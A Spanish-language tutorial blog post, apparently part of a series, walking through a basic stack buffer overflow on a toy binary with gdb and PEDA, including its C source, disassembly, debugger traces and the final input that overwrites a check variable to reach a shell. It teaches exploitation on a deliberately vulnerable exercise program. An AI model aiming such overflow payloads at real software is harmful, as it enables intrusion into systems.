En la entrada anterior fuimos capaces de generar nuestro payload para explotar un desbordamiento de buffer básico sólo analizando el código asm generado con objdump. Ahora en esta entrada lo que haremos será realizar un análisis dinámico del mismo binario mediante el debugger de facto en Linux: gdb (The GNU Project Debugger) al que añadiremos PEDA (Python Exploit Development Assistance for GDB) para ampliar sus funcionalidades.
Pero antes de empezar con gdb os recomiendo echar un vistazo a algún cheatsheet como los siguientes:
- https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf
- https://github.com/stmerry/gdb-peda-cheatsheet/blob/master/gdb-peda%20cheatsheet.pdf
Continuando con el ejercicio, lo primero que haremos será cargar el debugger simplemente llamando a nuestro programa vulnerable como parámetro:
Lo que se suele hacer en primer lugar es comprobar las protecciones del binario con el comando checksec:
Como se puede observar en el resultado sólo está activado lo siguiente:
- NX (non executable): hace que ningún segmento de la aplicación sea escribible o ejecutable una vez cargado en memoria. Esto significa que aunque logremos alterar el flujo de un programa hacia un shellcode que hayamos cargado en memoria este no se va a ejecutar.
- RELRO (Relocation Read-Only) completo o FULL: mapea toda la GOT (Global Offset Table) a sólo lectura.
Afortunadamente ninguna de estas dos protecciones nos van a impedir desbordar la pila (smash the stack) así que ¡vamos a ello!
Si anteriormente volcábamos el código asm con objdump, podemos hacer lo equivalente desensamblando la función main como a continuación:
Podemos poner un breakpoint por ejemplo en la instrucción cmp simplemente indicando su offset:Pero antes de empezar con gdb os recomiendo echar un vistazo a algún cheatsheet como los siguientes:
- https://darkdust.net/files/GDB%20Cheat%20Sheet.pdf
- https://github.com/stmerry/gdb-peda-cheatsheet/blob/master/gdb-peda%20cheatsheet.pdf
Continuando con el ejercicio, lo primero que haremos será cargar el debugger simplemente llamando a nuestro programa vulnerable como parámetro:
$ gdb bof2
GNU gdb (Ubuntu 8.0.1-0ubuntu1) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
Para las instrucciones de informe de errores, vea:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Leyendo símbolos desde bof2...hecho.
Lo que se suele hacer en primer lugar es comprobar las protecciones del binario con el comando checksec:
gdb-peda$ checksec bof2
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : FULL
Como se puede observar en el resultado sólo está activado lo siguiente:
- NX (non executable): hace que ningún segmento de la aplicación sea escribible o ejecutable una vez cargado en memoria. Esto significa que aunque logremos alterar el flujo de un programa hacia un shellcode que hayamos cargado en memoria este no se va a ejecutar.
- RELRO (Relocation Read-Only) completo o FULL: mapea toda la GOT (Global Offset Table) a sólo lectura.
Afortunadamente ninguna de estas dos protecciones nos van a impedir desbordar la pila (smash the stack) así que ¡vamos a ello!
Si anteriormente volcábamos el código asm con objdump, podemos hacer lo equivalente desensamblando la función main como a continuación:
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x565555cd <+0>: lea ecx,[esp+0x4]
0x565555d1 <+4>: and esp,0xfffffff0
0x565555d4 <+7>: push DWORD PTR [ecx-0x4]
0x565555d7 <+10>: push ebp
0x565555d8 <+11>: mov ebp,esp
0x565555da <+13>: push ebx
0x565555db <+14>: push ecx
0x565555dc <+15>: sub esp,0x50
0x565555df <+18>: call 0x565554d0 <__x86.get_pc_thunk.bx>
0x565555e4 <+23>: add ebx,0x19e8
0x565555ea <+29>: mov DWORD PTR [ebp-0xc],0x0
0x565555f1 <+36>: sub esp,0x8
0x565555f4 <+39>: lea eax,[ebp-0x4c]
0x565555f7 <+42>: push eax
0x565555f8 <+43>: lea eax,[ebx-0x18ec]
0x565555fe <+49>: push eax
0x565555ff <+50>: call 0x56555470 <__isoc99_scanf@plt>
0x56555604 <+55>: add esp,0x10
0x56555607 <+58>: cmp DWORD PTR [ebp-0xc],0xdeadbeef
0x5655560e <+65>: je 0x5655562c <main+95>
0x56555610 <+67>: sub esp,0xc
0x56555613 <+70>: lea eax,[ebx-0x18e9]
0x56555619 <+76>: push eax
0x5655561a <+77>: call 0x56555430 <puts@plt>
0x5655561f <+82>: add esp,0x10
0x56555622 <+85>: sub esp,0xc
0x56555625 <+88>: push 0x0
0x56555627 <+90>: call 0x56555450 <exit@plt>
0x5655562c <+95>: sub esp,0xc
0x5655562f <+98>: lea eax,[ebx-0x18de]
0x56555635 <+104>: push eax
0x56555636 <+105>: call 0x56555430 <puts@plt>
0x5655563b <+110>: add esp,0x10
0x5655563e <+113>: sub esp,0xc
0x56555641 <+116>: lea eax,[ebx-0x18d4]
0x56555647 <+122>: push eax
0x56555648 <+123>: call 0x56555440 <system@plt>
0x5655564d <+128>: add esp,0x10
0x56555650 <+131>: mov eax,0x0
0x56555655 <+136>: lea esp,[ebp-0x8]
0x56555658 <+139>: pop ecx
0x56555659 <+140>: pop ebx
0x5655565a <+141>: pop ebp
0x5655565b <+142>: lea esp,[ecx-0x4]
0x5655565e <+145>: ret
End of assembler dump.
gdb-peda$ break *0x56555607
Punto de interrupción 1 at 0x56555607: file bof2.c, line 11.
gdb-peda$ info b
Num Type Disp Enb Address What
1 breakpoint keep y 0x00000607 in main at bof2.c:11
Pero añadiremos otro a continuación de otra forma distinta, así que borramos el que acabamos de crear:
gdb-peda$ del 1
La otra forma de añadir breakpoints es directamente sobre una línea del código fuente, el cuál puede obtenerse fácilmente a través del comando 'list'.
Admite dos parámetros, la línea en la que se empieza a listar y la línea en que queremos que termine, separadas por una coma.
gdb-peda$ list 1,20
1 #include <stdio.h>
2 #include <stdlib.h>
3
4 int main(int argc, const char *argv[])
5 {
6 int correct = 0;
7 char bof[64];
8
9 scanf("%s",bof);
10
11 if(correct != 0xdeadbeef)
12 {
13 puts("you suck!\n");
14 exit(0);
15 }
16 puts("you win!\n");
17 system("/bin/sh");
18
19 return 0;
20 }
Como veis el código fuente se ve perfectamente. Añadimos un breakpoint al inicio de la función:
gdb-peda$ break 6
Punto de interrupción 1 at 0x5ea: file bof2.c, line 6.
y ejecutamos el programa:
gdb-peda$ run
Starting program: ~/BufferOverflows/BOF2/bof2
[----------------------------------registers-----------------------------------]
EAX: 0xf7f90dd8 --> 0xffffd33c --> 0xffffd50f ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
EBX: 0x56556fcc --> 0x1ed4
ECX: 0xffffd2a0 --> 0x1
EDX: 0xffffd2c4 --> 0x0
ESI: 0x1
EDI: 0xf7f8f000 --> 0x1d1d70
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd230 --> 0x0
EIP: 0x565555ea (: mov DWORD PTR [ebp-0xc],0x0)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x565555dc : sub esp,0x50
0x565555df : call 0x565554d0 <__x86 .get_pc_thunk.bx="">
0x565555e4 : add ebx,0x19e8
=> 0x565555ea : mov DWORD PTR [ebp-0xc],0x0
0x565555f1 : sub esp,0x8
0x565555f4 : lea eax,[ebp-0x4c]
0x565555f7 : push eax
0x565555f8 : lea eax,[ebx-0x18ec]
[------------------------------------stack-------------------------------------]
0000| 0xffffd230 --> 0x0
0004| 0xffffd234 --> 0xffffd4af ("~/Exploitation/Writeups/BufferOverflows/BOF2/bof2")
0008| 0xffffd238 --> 0xf7e57449 --> 0x7bb7c281
0012| 0xffffd23c --> 0x1
0016| 0xffffd240 --> 0xf7ffca00 --> 0x0
0020| 0xffffd244 --> 0xf7f8f000 --> 0x1d1d70
0024| 0xffffd248 --> 0xf7f8d220 --> 0xf7dd5180 --> 0x11d384e8
0028| 0xffffd24c --> 0xf7dd52f6 --> 0xc589c085
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, main (argc=0x1, argv=0xffffd334) at bof2.c:6
6 int correct = 0;
El programa se detiene en la declaración del entero 'correct' y su inicialización a 0.
A partir de aquí, para ejecutar paso a paso, ponemos 'next'. Cada vez que pongamos 'next', se ejecuta una línea. También podemos decirle al programa que continue hasta el final con 'cont'.
Recordar que en GDB también se pueden abreviar la mayoría si no todos sus comandos:
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xf7f90dd8 --> 0xffffd33c --> 0xffffd50f ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
EBX: 0x56556fcc --> 0x1ed4
ECX: 0xffffd2a0 --> 0x1
EDX: 0xffffd2c4 --> 0x0
ESI: 0x1
EDI: 0xf7f8f000 --> 0x1d1d70
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd230 --> 0x0
EIP: 0x565555f1 (: sub esp,0x8)
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x565555df : call 0x565554d0 <__x86 .get_pc_thunk.bx="">
0x565555e4 : add ebx,0x19e8
0x565555ea : mov DWORD PTR [ebp-0xc],0x0
=> 0x565555f1 : sub esp,0x8
0x565555f4 : lea eax,[ebp-0x4c]
0x565555f7 : push eax
0x565555f8 : lea eax,[ebx-0x18ec]
0x565555fe : push eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd230 --> 0x0
0004| 0xffffd234 --> 0xffffd4af ("~/BufferOverflows/BOF2/bof2")
0008| 0xffffd238 --> 0xf7e57449 --> 0x7bb7c281
0012| 0xffffd23c --> 0x1
0016| 0xffffd240 --> 0xf7ffca00 --> 0x0
0020| 0xffffd244 --> 0xf7f8f000 --> 0x1d1d70
0024| 0xffffd248 --> 0xf7f8d220 --> 0xf7dd5180 --> 0x11d384e8
0028| 0xffffd24c --> 0xf7dd52f6 --> 0xc589c085
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
9 scanf("%s",bof);
Observad como va cambiando el flujo de ejecución del programa y el valor de los registros.
Pronto llegamos al punto donde tenemos que insertar la cadena a la función, empezaremos insertando 64 'A's:
gdb-peda$ n
Starting program: ~/BufferOverflows/BOF2/bof2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x56556fcc --> 0x1ed4
ECX: 0x1
EDX: 0xf7f908a0 --> 0x0
ESI: 0x1
EDI: 0xf7f8f000 --> 0x1d1d70
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd230 --> 0x0
EIP: 0x56555607 (: cmp DWORD PTR [ebp-0xc],0xdeadbeef)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x565555fe : push eax
0x565555ff : call 0x56555470 <__isoc99_scanf plt="">
0x56555604 : add esp,0x10
=> 0x56555607 : cmp DWORD PTR [ebp-0xc],0xdeadbeef
0x5655560e : je 0x5655562c
0x56555610 : sub esp,0xc
0x56555613 : lea eax,[ebx-0x18e9]
0x56555619 : push eax
[------------------------------------stack-------------------------------------]
0000| 0xffffd230 --> 0x0
0004| 0xffffd234 --> 0xffffd4af ("~/Exploitation/Writeups/BufferOverflows/BOF2/bof2")
0008| 0xffffd238 --> 0xf7e57449 --> 0x7bb7c281
0012| 0xffffd23c ('A' )
0016| 0xffffd240 ('A' )
0020| 0xffffd244 ('A' )
0024| 0xffffd248 ('A' )
0028| 0xffffd24c ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
11 if(correct != 0xdeadbeef)
Ahora estamos en la condición principal del programa, donde la variable 'correct' (que no puede pasarse como parámetro, solo "desbordarse") tiene que ser igual a 0xdeadbeef.
Inspeccionaremos la memoria para darnos cuenta perfectamente. Podemos usar xw para mostrar words de 32bits (en lugar de 8 para ver más fácilmente los patrones).
gdb-peda$ x/20xhw $esp
0xffffd230: 0x00000000 0xffffd4af 0xf7e57449 0x41414141
0xffffd240: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd250: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd260: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd270: 0x41414141 0x41414141 0x41414141 0x00000000
En la salida se observa que después de las 64 'A's (0x41) el siguiente valor corresponde al valor de la variable 'correct' que se inicializó a 0. Por lo que si lo sobrescribimos y ponemos el valor requerido habremos desbordado la variable 'bof' y conseguido superar el reto.
Por último, vamos a setear un breakpoint en la linea 16 y volver a lanzar el programa con el payload:
gdb-peda$
run <<< $(python -c "print 'A' * 64 + '\xef\xbe\xad\xde'")
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x56556fcc --> 0x1ed4
ECX: 0x1
EDX: 0xf7f908a0 --> 0x0
ESI: 0x1
EDI: 0xf7f8f000 --> 0x1d1d70
EBP: 0xffffd288 --> 0x0
ESP: 0xffffd230 --> 0x0
EIP: 0x5655562c (: sub esp,0xc)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x56555622 : sub esp,0xc
0x56555625 : push 0x0
0x56555627 : call 0x56555450
=> 0x5655562c : sub esp,0xc
0x5655562f : lea eax,[ebx-0x18de]
0x56555635 : push eax
0x56555636 : call 0x56555430
0x5655563b : add esp,0x10
[------------------------------------stack-------------------------------------]
0000| 0xffffd230 --> 0x0
0004| 0xffffd234 --> 0xffffd4af ("~/Exploitation/Writeups/BufferOverflows/BOF2/bof2")
0008| 0xffffd238 --> 0xf7e57449 --> 0x7bb7c281
0012| 0xffffd23c ('A' , )
0016| 0xffffd240 ('A' , )
0020| 0xffffd244 ('A' , )
0024| 0xffffd248 ('A' , )
0028| 0xffffd24c ('A' , )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, main (argc=0xf7ffcc60, argv=0xffffdf81) at bof2.c:16
16 puts("you win!\n");
Si inspeccionamos la memoria comprobaremos que hemos sobrescrito la variable con el valor deseado:
gdb-peda$ x/20xhw $esp
0xffffd230: 0x00000000 0xffffd4af 0xf7e57449 0x41414141
0xffffd240: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd250: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd260: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd270: 0x41414141 0x41414141 0x41414141 0xdeadbeef
Y hasta aquí la primera entrada (dividida en dos partes) de exploiting en Linux básico. En la próxima de esta serie veremos ya como generar patrones aprovechando que tenemos PEDA.
Referencias:
- https://github.com/smholsen/pwnable.kr/tree/master/3-bof
- https://morpheuzblog.wordpress.com/2015/11/18/bof/
- http://www.chuidiang.org/clinux/herramientas/basico/debugger.php
Comentarios
Publicar un comentario